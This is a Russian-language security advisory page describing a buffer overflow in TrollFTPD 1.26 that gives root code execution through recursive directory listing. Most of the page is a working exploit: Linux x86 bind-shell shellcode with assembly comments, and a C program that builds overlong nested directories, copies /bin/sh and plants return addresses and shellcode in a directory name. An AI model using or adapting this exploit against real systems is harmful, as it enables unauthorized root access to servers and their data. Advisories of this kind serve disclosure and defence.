Security Lab

Переполнение буфера в TrollFTPD

Дата публикации:14.08.2001
Дата изменения:17.10.2006
Всего просмотров:1288
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Ошибка в обработке рекурсивного просмотра директории может приводить к переполнению буфера. Эксплуатация уязвимости позволяет выполнять произвольный код с root привилегиями.

Уязвимость работает в TrollFTPD 1.26.



Эксплоит:

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xdb" // xor ebx, ebx

"\xf7\xe3" // mul ebx

"\xb0\x66" // mov al, 102

"\x53" // push ebx

"\x43" // inc ebx

"\x53" // push ebx

"\x43" // inc ebx

"\x53" // push ebx

"\x89\xe1" // mov ecx, esp

"\x4b" // dec ebx

"\xcd\x80" // int 80h

"\x89\xc7" // mov edi, eax

"\x52" // push edx

"\x66\x68\x27\x10" // push word 4135

"\x43" // inc ebx

"\x66\x53" // push bx

"\x89\xe1" // mov ecx, esp

"\xb0\x10" // mov al, 16

"\x50" // push eax

"\x51" // push ecx

"\x57" // push edi

"\x89\xe1" // mov ecx, esp

"\xb0\x66" // mov al, 102

"\xcd\x80" // int 80h

"\xb0\x66" // mov al, 102

"\xb3\x04" // mov bl, 4

"\xcd\x80" // int 80h

"\x50" // push eax

"\x50" // push eax

"\x57" // push edi

"\x89\xe1" // mov ecx, esp

"\x43" // inc ebx

"\xb0\x66" // mov al, 102

"\xcd\x80" // int 80h

"\x89\xd9" // mov ecx, ebx

"\x89\xc3" // mov ebx, eax

"\xb0\x3f" // mov al, 63

"\x49" // dec ecx

"\xcd\x80" // int 80h

"\x41" // inc ecx

"\xe2\xf8" // loop lp

"\x51" // push ecx

"\x68\x55\x55\x55\x55" // push dword 68732f6eh

"\x68\x55\x55\x55\x55" // push dword 69622f2fh

"\x89\xe3" // mov ebx, esp

"\x51" // push ecx

"\x53" // push ebx

"\x89\xe1" // mov ecx, esp

"\xb0\x0b" // mov al, 11

"\xcd\x80"; // int 80h



main()

{

char dir[8000];

char nir[8000];

int z0=0,a0=0x080597f8;

int z1=0,a1=0xbff96450;

int g;

strcpy(dir,"/tmp/retroll/");

mkdir(dir,0777);

printf("%d\n",strlen(shellcode));

while(strlen(dir)<4040)

{

strcat(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");

mkdir(dir,0777);

}

// 4048 so far leaving 48 left.

if(chdir(dir)){perror("chdir");exit(1);}

printf("%d + ",strlen(dir));

sprintf(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");

mkdir(dir,0777);

system("cp /bin/sh AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/UUUUUUUU");

sprintf(nir,"%sAAAAAAAAAAAAAAAAAAAAAAAA",dir);

sprintf(dir,"%sGGGG=AAAAAAA%sAAAAAAAAAAAA%sCCCC%s",nir,&a0,&a1,shellcode);

printf("%d = ",strlen(dir));

mkdir(dir,0777);

}